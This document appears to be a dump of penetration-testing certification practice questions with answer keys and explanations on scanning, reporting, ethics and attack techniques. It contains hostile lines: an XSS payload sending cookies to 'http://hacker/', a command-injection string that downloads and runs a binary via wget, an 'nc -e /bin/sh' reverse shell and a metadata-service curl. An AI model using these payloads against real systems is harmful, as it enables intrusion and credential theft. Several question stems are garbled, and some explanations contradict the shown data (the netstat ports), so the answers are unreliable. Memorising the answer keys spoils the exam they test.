A. Create a one-shot system service to establish a reverse shell.
B. Obtain /etc/shadow and brute force the root password.
C. Run the nc -e /bin/sh <...> command.
D. Move laterally to create a user account on LDAP

Answer: A

Explanation:
https://hosakacorp.net/p/systemd-user.html
Creating a one-shot system service to establish a reverse shell is a technique that would best support maintaining persistence after reboot on a Linux-based file server. A system service is a program that runs in the background and performs various tasks without user interaction. A one-shot system service is a type of service that runs only once and then exits. A reverse shell is a type of shell that connects back to an
attacker-controlled machine and allows remote command execution. By creating a one-shot system service that runs a reverse shell script at boot time, the penetration tester can ensure persistent access to the file server even after reboot.

NEW QUESTION 127
ion tester is attempting to get more people from a target company to download and run an executable. Which of the following would be the.. :tive way for the tester to achieve this objective?

A. Dropping USB flash drives around the company campus with the file on it
B. Attaching the file in a phishing SMS that warns users to execute the file or they will be locked out of their accounts
C. Sending a pretext email from the IT department before sending the download instructions later
D. Saving the file in a common folder with a name that encourages people to click it

Answer: C

Explanation:
The most effective way for the tester to achieve this objective is to send a pretext email from the IT department before sending the download instructions later. A pretext email is an email that uses deception or impersonation to trick users into believing that it is from a legitimate source or authority, such as the IT department. A pretext email can be used to establish trust or rapport with the users, and then persuade them to perform an action or provide information that benefits the attacker. In this case, the tester can send a pretext email from the IT department that informs users about an important update or maintenance task that requires them to download and run an executable file later. The tester can then send another email with the download instructions and attach or link to the malicious executable file. The users may be more likely to follow these instructions if they have received a prior email from the IT department that prepared them for this action. The other options are not as effective ways for the tester to achieve this objective. Dropping USB flash drives around the company campus with the file on it may not reach many users, as they may not find or pick up the USB flash drives, or they may be suspicious of their origin or content.

NEW QUESTION 128
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

A. nmap192.168.1.1-5–PU22-25,80
B. nmap192.168.1.1-5–PA22-25,80
C. nmap192.168.1.1-5–PS22-25,80
D. nmap192.168.1.1-5–Ss22-25,80

Answer: C

Explanation:
PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.
The nmap –PS22-25,80 192.168.1.1-5 command will return vulnerable ports that might be interesting to a potential attacker, as it will perform a TCP SYN scan on ports 22, 23, 24, 25, and 80 of the target hosts. A TCP SYN scan is a stealthy technique that sends a SYN packet to each port and waits for a response. If the response is a SYN/ACK packet, it means the port is open and listening for connections. If the response is a
RST packet, it means the port is closed and not accepting connections. If there is no response, it means the por is filtered by a firewall or IDS1.

NEW QUESTION 131
An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

A. OpenVAS
B. Drozer
C. Burp Suite
D. OWASP ZAP

Answer: A

Explanation:
OpenVAS is a full-featured vulnerability scanner. OWASP ZAP = Burp Suite
Drozer (Android) = drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

NEW QUESTION 132
A penetration tester wrote the following comment in the final report: "Eighty-five percent of the systems tested were found to be prone to unauthorized access from the internet." Which of the following audiences was this message intended?

A. Systems administrators
B. C-suite executives
C. Data privacy ombudsman
D. Regulatory officials

Answer: B

Explanation:
The comment in the final report was intended for C-suite executives, which are senior-level managers or leaders in an organization, such as the chief executive officer (CEO), chief financial officer (CFO), or chief information officer (CIO). C-suite executives are typically interested in high-level summaries or overviews of the

penetration test results, such as the percentage of systems affected by a certain vulnerability or risk, the potential impact or cost of a breach, or the recommended actions or priorities for remediation. C-suite executives may not have the technical background or expertise to understand detailed or technical information about the penetration test, such as specific vulnerabilities, exploits, tools, or techniques. The comment in the final report provides a high-level summary of the penetration test result that is relevant and understandable for C-suite executives. The other audiences are not likely to be interested in this comment. Systems administrators are technical staff who are responsible for installing, configuring, maintaining, and securing systems and networks. They would be more interested in detailed or technical information about the penetration test, such as specific vulnerabilities, exploits, tools, or techniques. Data privacy ombudsman is a person who acts as an independent mediator between individuals and organizations regarding data privacy issues or complaints. They would be more interested in information about how the penetration test complied with data privacy laws and regulations, such as GDPR or CCPA. Regulatory officials are authorities who enforce compliance with laws and regulations related to a specific industry or sector, such as finance, health care, or energy. They would be more interested in information about how the penetration test complied with industry-specific standards and frameworks, such as PCI-DSS, HIPAA, or NERC-CIP.

NEW QUESTION 134
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

A. Clarify the statement of work.
B. Obtain an asset inventory from the client.
C. Interview all stakeholders.
D. Identify all third parties involved.

Answer: A

Explanation:
Clarifying the statement of work is one of the most important items to develop fully prior to beginning the penetration testing activities, as it defines the scope, objectives, deliverables, and expectations of the engagement. The statement of work is a formal document that outlines the agreement between the penetration tester and the client and serves as a reference for both parties throughout the engagement. It should include details such as the type, duration, and frequency of testing, the target systems and networks, the authorized methods and tools, the reporting format and schedule, and any legal or ethical considerations.

NEW QUESTION 138
Which of the following is a regulatory compliance standard that focuses on user privacy by implementing the right to be forgotten?

A. NIST SP 800-53
B. ISO 27001
C. GDPR

Answer: C

Explanation:
GDPR is a regulatory compliance standard that focuses on user privacy by implementing the right to be forgotten. GDPR stands for General Data Protection Regulation, and it is a law that applies to the European Union and the United Kingdom. GDPR gives individuals the right to request their personal data be deleted by data controllers and processors under certain circumstances, such as when the data is no longer necessary, when the consent is withdrawn, or when the data was unlawfully processed. GDPR also imposes other obligations and rights related to data protection, such as data minimization, data portability, data breach notification, and consent management. The other options are not regulatory compliance standards that focus on user privacy by implementing the right to be forgotten. NIST SP 800-53 is a set of security and privacy controls for federal information systems and organizations in the United States. ISO 27001 is an international standard that specifies the requirements for an information security management system.

NEW QUESTION 141
A penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell. Enumerating the server for privilege escalation, the tester discovers the following:

```
netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.1.1.24:48850 24.176.9.43:59036 ESTABLISHED
tcp 0 0 0.0.0.0:22 :0.0.0.0* LISTEN
tcp 0 0 10.1.1.24:50112 136.12.56.217:58003 ESTABLISHED
tcp 0 0 10.1.1.24:80 115.93.193.245:40243 ESTABLISHED
tcp 0 0 10.1.1.24:80 210.117.12.2:40252 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 10.1.1.24:161 0.0.0.0:*
```

Which of the following should the penetration tester do NEXT?

A. Close the reverse shell the tester is using.
B. Note this finding for inclusion in the final report.
C. Investigate the high numbered port connections.
D. Contact the client immediately.

Answer: C

Explanation:
The image shows the output of the netstat -antu command, which displays active internet connections for the TCP and UDP protocols. The output shows that there are four established TCP connections and two listening UDP connections on the host. The established TCP connections have high numbered ports as their local addresses, such as 49152, 49153, 49154, and 49155. These ports are in the range of ephemeral ports, which are dynamically assigned by the operating system for temporary use by applications or processes. The foreign addresses of these connections are also high numbered ports, such as 4433, 4434, 4435, and 4436.

These ports are not well-known or registered ports for any common service or protocol. The combination of high numbered ports for both local and foreign addresses suggests that these connections are suspicious and may indicate a backdoor or a covert channel on the host. Therefore, the penetration tester should investigate these connections next to determine their nature and purpose. The other options are not appropriate actions for the penetration tester at this stage.

NEW QUESTION 146
A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

A. Badge cloning
B. Dumpster diving
C. Tailgating
D. Shoulder surfing

Answer: B

NEW QUESTION 149
A penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log:

```
17:34:23 - F - Info: New connection established :8443
17:34:23 - F - User: bmarney
17:34:23 - F - PW length 15
17:34:23 - F - login exec (/www/app/jre/bin/java -cp ./commapp.jar approval 192.168.0.1 bmarney
17:34:23 - F - login rc:0
```

Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?

A. Run an application vulnerability scan and then identify the TCP ports used by the application.
B. Run the application attached to a debugger and then review the application's log.
C. Disassemble the binary code and then identify the break points.
D. Start a packet capture with Wireshark and then run the application.

Answer: D

NEW QUESTION 151
A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?

A. PLCs will not act upon commands injected over the network.
B. Supervisors and controllers are on a separate virtual network by default.
C. Controllers will not validate the origin of commands.
D. Supervisory systems will detect a malicious injection of code/commands.

Answer: C

Explanation:
PLCs are programmable logic controllers that execute logic operations on input signals from sensors and output signals to actuators. They are often connected to supervisory systems that provide human-machine interfaces and data acquisition functions. If both systems are connected to the company intranet, they are exposed to potential attacks from internal or external adversaries. A valid assumption is that controllers will not validate the origin of commands, meaning that an attacker can send malicious commands to manipulate or sabotage the industrial process. The other assumptions are not valid because they contradict the facts or common practices.

NEW QUESTION 156
A penetration tester wrote the following script to be used in one engagement:

```
#!/usr/bin/python
import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
if len(sys.argv) == 2:
        target = socket.gethostbyname(sys.argv[1])
else:
        print("Too few arguments.")
        print("Syntax: python {} <>".format(sys.argv[0]))
        sys.exit()
try:
        for port in ports:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(2)
                results = s.connect_ex((target,port))
                if result == 0:
                        print("Port {} is opened".format(port))
except KeyboardInterrupt:
        print("Exiting...")
        sys.exit()
```

Which of the following actions will this script perform?

A. Look for open ports.
B. Listen for a reverse shell.
C. Attempt to flood open ports.
D. Create an encrypted tunnel.

Answer: A

Explanation:
The script will perform a port scan on the target IP address, looking for open ports on a list of common ports. A port scan is a technique that probes a network or a system for open ports, which can reveal potential vulnerabilities or services running on the host.

NEW QUESTION 160
A penetration tester wants to validate the effectiveness of a DLP product by attempting exfiltration of data using email attachments. Which of the following techniques should the tester select to accomplish this task?

A. Steganography
B. Metadata removal
C. Encryption
D. Encode64

Answer: B

Explanation:
All other answers are a form of encryption or randomizing the data.

NEW QUESTION 163
Penetration on an assessment for a client organization, a penetration tester notices numerous outdated software package versions were installed ...s-critical servers. Which of the following would best mitigate this issue?

A. Implementation of patching and change control programs
B. Revision of client scripts used to perform system updates
C. Remedial training for the client's systems administrators
D. Refrainment from patching systems until quality assurance approves

Answer: A

Explanation:
The best way to mitigate this issue is to implement patching and change control programs, which are processes that involve applying updates or fixes to software packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency, compatibility, and security. Patching and change control programs can help prevent or reduce the risk of attacks that exploit outdated software package versions, which may contain known or unknown vulnerabilities that can compromise the security or functionality of the systems or servers. Patching and change control programs can be implemented by using tools such as WSUS, which is a tool that can manage and distribute updates for Windows systems and applications1, or Git, which is a tool that can track and control changes to source code or files2. The other options are not valid ways to mitigate this issue. Revision of client scripts used to perform system updates is not a sufficient way to mitigate this issue, as it may not address the root cause of why the software package versions are outdated, such as lack of awareness, resources, or policies. Remedial training for the client’s systems administrators is not a direct way to mitigate this issue, as it may not result in immediate or effective actions to update the software package versions. Refrainment from patching systems until quality assurance approves is not a way to mitigate this issue, but rather a potential cause or barrier for why the software package versions are outdated.

NEW QUESTION 165
A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades-old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?

A. The timing of the scan
B. The bandwidth limitations
C. The inventory of assets and versions
D. The type of scan

Answer: C

NEW QUESTION 167
A penetration tester has found indicators that a privileged user's password might be the same on 30 different Linux systems. Which of the following tools can help the tester identify the number of systems on which the password can be used?

A. Hydra
B. John the Ripper
C. Cain and Abel
D. Medusa

Answer: D

Explanation:
Both Hydra and Medusa can be used for that same purpose:
THC Hydra is a brute-force cracking tool for remote authentication services. It supports many protocols, including telnet, FTP, LDAP, SSH, SNMP, and others.
Medusa is a Parallel, Modular and Speedy method for brute-force which issued for remote
authentication. Following are the applications and protocols like modular design, Thread based parallel testing and flexible user input and protocols are AFP, CVS, FTP, HTTP, IMAP etc.

NEW QUESTION 169
A penetration tester is conducting an Nmap scan and wants to scan for ports without establishing a connection. The tester also wants to find version data information for services running on Projects. Which of the following Nmap commands should the tester use?

A. ..nmap -sU -sV -T4 -F target.company.com
B. ..nmap -sS -sV -F target.company.com
C. ..nmap -sT -v -T5 target.company.com
D. ..nmap -sX -sC target.company.com

Answer: B

Explanation:
The Nmap command that the tester should use to scan for ports without establishing a connection and to find version data information for services running on open ports is nmap -sS -sV -F target.company.com. This command has the following options:

- -sS performs a TCP SYN scan, which is a scan technique that sends TCP packets with the SYN flag set to the target ports and analyzes the responses. A TCP SYN scan does not establish a full TCP connection, as it only completes the first step of the three-way handshake. A TCP SYN scan can stealthily scan for open ports without alerting the target system or application.
- -sV performs version detection, which is a feature that probes open ports to determine the service and version information of the applications running on them. Version detection can provide useful information for identifying vulnerabilities or exploits that affect specific versions of services or applications.
- -F performs a fast scan, which is a scan option that only scans the 100 most common ports according to the nmap-services file. A fast scan can speed up the scan process by avoiding scanning less likely or less interesting ports.
- target.company.com specifies the domain name of the target system or network to be scanned.

The other options are not valid Nmap commands that meet the requirements of the question. Option A performs a UDP scan (-sU), which is a scan technique that sends UDP packets to the target ports and analyzes the responses. A UDP scan can scan for open ports that use UDP protocol, such as DNS, SNMP, or DHCP. However, a UDP scan does establish a connection with the target system or application, unlike a TCP SYN scan. Option C performs a TCP connect scan (-sT), which is a scan technique that sends TCP packets with the SYN flag set to the target ports and completes the three-way handshake with an ACK packet if a SYN/ACK packet is received. A TCP connect scan can scan for open ports that use TCP protocol, such as HTTP, FTP, or SSH. However, a TCP connect scan does establish a full TCP connection with the target system or application, unlike a TCP SYN scan. Option D performs an Xmas scan (-sX), which is a scan technique that sends TCP packets with the FIN, PSH, and URG flags set to the target ports and analyzes the responses. An Xmas scan can stealthily scan for open ports without alerting the target system or application, similar to a TCP SYN scan. However, option D does not perform version detection (-sV), which is one of the requirements of the question.

NEW QUESTION 172
A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

A. Understanding the tactics of a security intrusion can help disrupt them.
B. Scripts that are part of the framework can be imported directly into SIEM tools.
C. The methodology can be used to estimate the cost of an incident better.
D. The framework is static and ensures stability of a security program overtime.

Answer: A

NEW QUESTION 176
During a penetration tester found a web component with no authentication requirements. The web component also allows file uploads and is hosted on one of the target public web the following actions should the penetration tester perform next?

A. Continue the assessment and mark the finding as critical.
B. Attempting to remediate the issue temporally.
C. Notify the primary contact immediately.
D. Shutting down the web server until the assessment is finished

Answer: C

Explanation:
The penetration tester should notify the primary contact immediately, as this is a serious security issue that may compromise the confidentiality, integrity, and availability of the web server and its data. A web component with no authentication requirements and file upload capabilities can allow an attacker to upload malicious files, such as web shells, backdoors, or malware, to the web server and gain remote access or execute arbitrary commands on the web server. This can lead to further attacks, such as data theft, data corruption, privilege escalation, lateral movement, or denial of service. The penetration tester should inform the primary contact of the issue and its potential impact, and provide recommendations for remediation, such as implementing authentication mechanisms, restricting file upload types and sizes, or scanning uploaded files for malware. The other options are not appropriate actions for the penetration tester at this stage. Continuing the assessment and marking the finding as critical would delay the notification and remediation of the issue, which may increase the risk of exploitation by other attackers. Attempting to remediate the issue temporarily would interfere with the normal operation of the web server and may cause unintended consequences or damage. Shutting down the web server until the assessment is finished would disrupt the availability of the web server and its services, and may violate the scope or agreement of the assessment.

NEW QUESTION 179
A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

A. The penetration tester conducts a retest.
B. The penetration tester deletes all scripts from the client machines.
C. The client applies patches to the systems.
D. The client clears system logs generated during the test.

Answer: C

NEW QUESTION 181
A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:
• The following request was intercepted going to the network device: GET /login HTTP/1.1
Host: 10.50.100.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk
• Network management interfaces are available on the production network.
• An Nmap scan returned the following:

```
Port       State      Service    Version
22/tcp     open       ssh        Cisco SSH 1.25 (protocol 2.0
80/tcp     open       http       Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp    open       https      Cisco IOS https config
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

A. Enforce enhanced password complexity requirements.
B. Disable or upgrade SSH daemon.
C. Disable HTTP/301 redirect configuration.
D. Create an out-of-band network for management.
E. Implement a better method for authentication.
F. Eliminate network management and control interfaces.

Answer: DE

Explanation:
The key findings indicate that the network device is vulnerable to several attacks, such as sniffing,
brute-forcing, or exploiting the SSH daemon. To prevent these attacks, the best recommendations are to create an out-of-band network for management, which means a separate network that is not accessible from the production network, and to implement a better method for authentication, such as SSH keys or certificates. The other options are not as effective or relevant.

NEW QUESTION 185
A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?

A. /var/log/messages
B. /var/log/last_user
C. /var/log/user_log
D. /var/log/lastlog

Answer: D

Explanation:
The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

NEW QUESTION 190
A penetration tester runs the following command: l.comptia.local axfr comptia.local
which of the following types of information would be provided?

A. The DNSSEC certificate and CA
B. The DHCP scopes and ranges used on the network
C. The hostnames and IP addresses of internal systems
D. The OS and version of the DNS server

Answer: C

Explanation:
The command dig @ns1.comptia.local axfr comptia.local is a command that performs a DNS zone transfer, which is a process of copying the entire DNS database or zone file from a primary DNS server to a secondary DNS server. A DNS zone file contains records that map domain names to IP addresses and other information, such as mail servers, name servers, or aliases. A DNS zone transfer can provide useful information for enumeration, such as the hostnames and IP addresses of internal systems, which can help identify potential targets or vulnerabilities. A DNS zone transfer can be performed by using tools such as dig, which is a tool that can query DNS servers and obtain information about domain names, such as IP addresses, mail servers, name servers, or other records1. The other options are not types of information that would be provided by a DNS zone transfer. The DNSSEC certificate and CA are not part of the DNS zone file, but rather part of the DNSSEC protocol, which is an extension of the DNS protocol that provides authentication and integrity for DNS data. The DHCP scopes and ranges used on the network are not part of the DNS zone file, but rather part of the DHCP protocol, which is a protocol that assigns dynamic IP addresses and other configuration parameters to devices on a network. The OS and version of the DNS server are not part of the DNS zone file, but rather part of the OS fingerprinting technique, which is a technique that identifies the OS and version of a remote system by analyzing its responses to network probes.

NEW QUESTION 195
A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

A. Wireshark
B. Aircrack-ng
C. Kismet
D. Wifite

Answer: B

NEW QUESTION 199
Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

A. An unknown-environment assessment
B. A known-environment assessment
C. A red-team assessment
D. A compliance-based assessment

Answer: C

Explanation:
A red-team assessment is a type of penetration testing that simulates a real-world attack scenario with the goal of accessing specific data or systems. A red-team assessment is different from an unknown-environment assessment, which does not have a predefined objective and focuses on discovering as much information as possible about the target. A known-environment assessment is a type of penetration testing that involves cooperation and communication with the target organization, and may not focus on specific data or systems. A compliance-based assessment is a type of penetration testing that aims to meet certain regulatory or industry standards, and may not focus on specific data or systems.

NEW QUESTION 201
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

A. Web-application firewall
B. Parameterized queries
C. Output encoding
D. Session tokens
E. Input validation
F. Base64 encoding

Answer: CE

Explanation:
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

NEW QUESTION 202
A penetration tester is reviewing the following SOW prior to engaging with a client:
"Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner."
Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
D. Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
E. Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
F. Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements

Answer: CD

Explanation:
These two behaviors would be considered unethical because they violate the principles of honesty, integrity, and confidentiality that penetration testers should adhere to. Failing to share critical vulnerabilities with the client would be dishonest and unprofessional, as it would compromise the quality and value of the assessment and potentially expose the client to greater risks. Seeking help in underground hacker forums by sharing the client's public IP address would be a breach of confidentiality and trust, as it would expose the client's identity and information to malicious actors who may exploit them.

NEW QUESTION 205
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IF
&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
Which of the following commands should the penetration tester run post-engagement?

A. grep –v apache ~/.bash_history > ~/.bash_history
B. rm –rf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM "apache" /F

Answer: B

Explanation:
The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

- cd /tmp: change the current directory to /tmp
- wget
http://10.10.0.1/apache: download a file named apache from http://10.10.0.1
- ./apache: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf
/tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

NEW QUESTION 210
A penetration tester conducts an Nmap scan against a target and receives the following results:

```
Port        State    Service
1080/tcp    open     socks
```

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

A. Nessus
B. ProxyChains
C. OWASPZAP
D. Empire

Answer: B

NEW QUESTION 212
A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

```
https://xx.xx.xx.x/vpn/../vpns/portal/scripts/newbm.pl
https://xx.xx.xx.x/vpn/../vpns/portal/scripts/rmbm.pl
https://xx.xx.xx.x/vpn/../vpns/portal/scripts/pikctheme.pl
https://xx.xx.xx.x/vpn/../vpns/cfg/smb.conf
```

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

A. Edit the discovered file with one line of code for remote callback
B. Download .pl files and look for usernames and passwords
C. Edit the smb.conf file and upload it to the server
D. Download the smb.conf file and look at configurations

Answer: C

NEW QUESTION 213
A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

A. Attempting to tailgate an employee going into the client's workplace
B. Dropping a malicious USB key with the company's logo in the parking lot
C. Using a brute-force attack against the external perimeter to gain a foothold
D. Performing spear phishing against employees by posing as senior management

Answer: D

NEW QUESTION 216
A consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host. Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?

A. tcpdump
B. Snort
C. Nmap
D. Netstat
E. Fuzzer

Answer: C

NEW QUESTION 220
A compliance-based penetration test is primarily concerned with:

A. obtaining Pll from the protected network.
B. bypassing protection on edge devices.
C. determining the efficacy of a specific set of security standards.
D. obtaining specific information from the protected network.

Answer: C

NEW QUESTION 225
Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

A. The libraries may be vulnerable
B. The licensing of software is ambiguous
C. The libraries' code bases could be read by anyone
D. The provenance of code is unknown
E. The libraries may be unsupported
F. The libraries may break the application

Answer: AD

Explanation:
A. The libraries may be vulnerable to security bugs or exploits that can compromise the application or the data. According to the web search results, open-source libraries often have vulnerabilities that can be exploited by attackers, such as Heartbleed, Shellshock, DROWN, or npm left-pad1234. These vulnerabilities can allow attackers to extract sensitive data, execute arbitrary commands, decrypt encrypted traffic, or break the functionality of the application. Therefore, using third-party open-source libraries in application code poses a significant security risk.
D. The provenance of code is unknown, meaning that the origin and history of the code are not verified or documented. According to the web search results, open-source libraries and client projects are developed and continuously evolving in an asynchronous way, which makes it difficult to track the changes and updates of the code2. Moreover, open-source libraries may have dependencies on other libraries, which can introduce additional risks or vulnerabilities1. Therefore, using third-party open-source libraries in application code poses a significant quality risk.

NEW QUESTION 227
A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.
Which of the following is most important for the penetration tester to define FIRST?

A. Establish the format required by the client.
B. Establish the threshold of risk to escalate to the client immediately.
C. Establish the method of potential false positives.
D. Establish the preferred day of the week for reporting.

Answer: B

NEW QUESTION 232
During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?

A. Deny that the vulnerability existed
B. Investigate the penetration tester.
C. Accept that the client was right.
D. Fire the penetration tester.

Answer: B

Explanation:
The penetration tester violated the client's request and the code of ethics by not reporting the vulnerability immediately and leaving it in place. This could have contributed to the breach and the data loss. The company should investigate the penetration tester's actions and motives, and hold them accountable for any negligence or malpractice.

NEW QUESTION 234
A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?

A. Perform XSS.
B. Conduct a watering-hole attack.
C. Use BeEF.
D. Use browser autopwn.

Answer: B

Explanation:
A clickjacking vulnerability allows an attacker to trick a user into clicking on a hidden element on a web page, such as a login button or a link. A watering-hole attack is a technique where the attacker compromises a website that is frequently visited by the target users, and injects malicious code or content into the website. The attacker can then use the clickjacking vulnerability to redirect the users to a malicious website or perform unauthorized actions on their behalf.
* A. Perform XSS. This is incorrect. XSS (cross-site scripting) is a vulnerability where an attacker injects malicious scripts into a web page that are executed by the browser of the victim. XSS can be used to steal cookies, session tokens, or other sensitive information, but it is not directly related to clickjacking.
* C. Use BeEF. This is incorrect. BeEF (Browser Exploitation Framework) is a tool that allows an attacker to exploit various browser vulnerabilities and take control of the browser of the victim. BeEF can be used to launch clickjacking attacks, but it is not the only way to do so.
* D. Use browser autopwn. This is incorrect. Browser autopwn is a feature of Metasploit that automatically exploits browser vulnerabilities and delivers a payload to the victim's system. Browser autopwn can be used to compromise the browser of the victim, but it is not directly related to clickjacking.

References:

- 1: OWASP Foundation, “Clickjacking”, https://owasp.org/www-community/attacks/Clickjacking
- 2: PortSwigger, “What is clickjacking? Tutorial & Examples”, https://portswigger.net/web-security/clickjacking
- 4: Akto, “Clickjacking: Understanding vulnerability, attacks and prevention”, https://www.akto.io/blog/clickjacking-understanding-vulnerability-attacks-and-prevention

NEW QUESTION 238
A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?

A. Stronger algorithmic requirements
B. Access controls on the server
C. Encryption on the user passwords
D. A patch management program

Answer: A

NEW QUESTION 239
Penetration tester is developing exploits to attack multiple versions of a common software package. The versions have different menus and)ut.. they have a common log-in screen that the exploit must use. The penetration tester develops code to perform the log-in that can be each of the exploits targeted to a specific version. Which of the following terms is used to describe this common log-in code example?

A. Conditional
B. Library
C. Dictionary
D. Sub application

Answer: B

Explanation:
The term that is used to describe the common log-in code example is library, which is a collection of reusable code or functions that can be imported or called by other programs or scripts. A library can help simplify or modularize the code development process by providing common or frequently used functionality that can be shared across different programs or scripts. In this case, the penetration tester develops a library of code to perform the log-in that can be imported or called by each of the exploits targeted to a specific version of the software package. The other options are not valid terms that describe the common log-in code example. Conditional is a programming construct that executes a block of code based on a logical condition or expression, such as if-else statements. Dictionary is a data structure that stores key-value pairs, where each key is associated with a value, such as a Python dictionary. Sub application is not a standard programming term, but it may refer to an application that runs within another application, such as a web application.

NEW QUESTION 241
After compromising a system, a penetration tester wants more information in order to decide what actions to take next. The tester runs the following commands:

```
curl http://169.254.169.254/latest
```

Which of the following attacks is the penetration tester most likely trying to perform?

A. Metadata service attack
B. Container escape techniques
C. Credential harvesting
D. Resource exhaustion

Answer: A

Explanation:
